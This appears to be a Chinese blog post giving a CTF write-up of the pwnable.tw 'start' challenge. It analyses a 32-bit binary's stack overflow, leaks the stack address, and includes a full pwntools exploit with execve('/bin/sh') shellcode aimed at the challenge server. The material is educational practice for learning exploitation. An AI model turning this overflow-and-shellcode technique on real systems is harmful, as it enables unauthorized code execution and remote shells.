pwnable.tw 第一题之start

今天学长布置了作业,,,做这道题,,,

言承这次遇到的第一个情况,,,就是页面打开了,题目出不来。流泪。

大家可以直接用下面图片的ip,端口,如果有需要,想自己pwnable.tw,可以私信我。

 

然后我们来看题

32位的程序,程序什么也没开,,,感觉挺友善的哈

执行效果,,挺好就一个输入点,基本猜测就是栈溢出,,,

 

用ida打开有点傻眼,没有main函数,只有start和exit,启动和退出?什么操作,内心有点忐忑

只有start可以看反汇编,,,然而,看的还是有点懵,,,

只看出它调用了一个write函数,别的啥也不知道了,,,

 

接受事实,这道硬核的,有点不同于之前的题目,真的要上汇编了

因为汇编看着,大致的意思能理解,但是还是有点懵,所以我花了下堆栈示意图

刚开始的初始化

调用write函数和read函数,栈中的情况

第一个函数是wirte函数,我们可以通过注释可以得知,第二个为什么是read函数呢?是通过ax里面的系统号

查看系统号地址:http://syscalls.kernelgrok.com/

程序先将系统号放入ax,然后int 80中断调用函数

我们可以看到我们可以输入0x3c,但是返回地址距离输入只有0x14,所以,很显然这里可以造成溢出

通过堆栈图也可以看出来,覆盖率为20(=0x14)个字节

既然我们可以控制返回地址,那么我们就要想怎么拿到shell了,因为nx没有开启,我们又能在堆栈中输入数据,所以,想到可以传入shellcode到栈上,然后再将返回地址覆盖到shellcode地址。

为了覆盖shellcode的地址,我们需要找到一个地址,就是esp,我们可以覆盖返回地址为08048087,那么程序会调回去,继续输出,而此时esp走到了esp的位置,会将esp的地址输出

 

步骤

(1)先覆盖造成栈溢出,将返回地址覆盖0x08048087,泄漏esp的地址

(2)输入的时候,布置栈,覆盖返回地址为shellcode的地址

 

addr+20就是esp下面五格,esp+14h的时候也会来到addr的地址,然后retn,就是pop ip,就执行到shellcode了

所以,exp如下:

from pwn import  *
p = remote('chall.pwnable.tw',10000)

p.recvuntil(':')
payload = 'a'*20 + p32(0x08048087)
p.send(payload)

addr = u32(p.recv(4))+20
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload = 'a'*20 + p32(addr) + shellcode
p.send(payload)

p.interactive()

#shellcode = 'x31xc9xf7xe1x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xb0x0bxcdx80'
#安全客那篇这么写不行,,,

 

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

书文的学习记录本

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值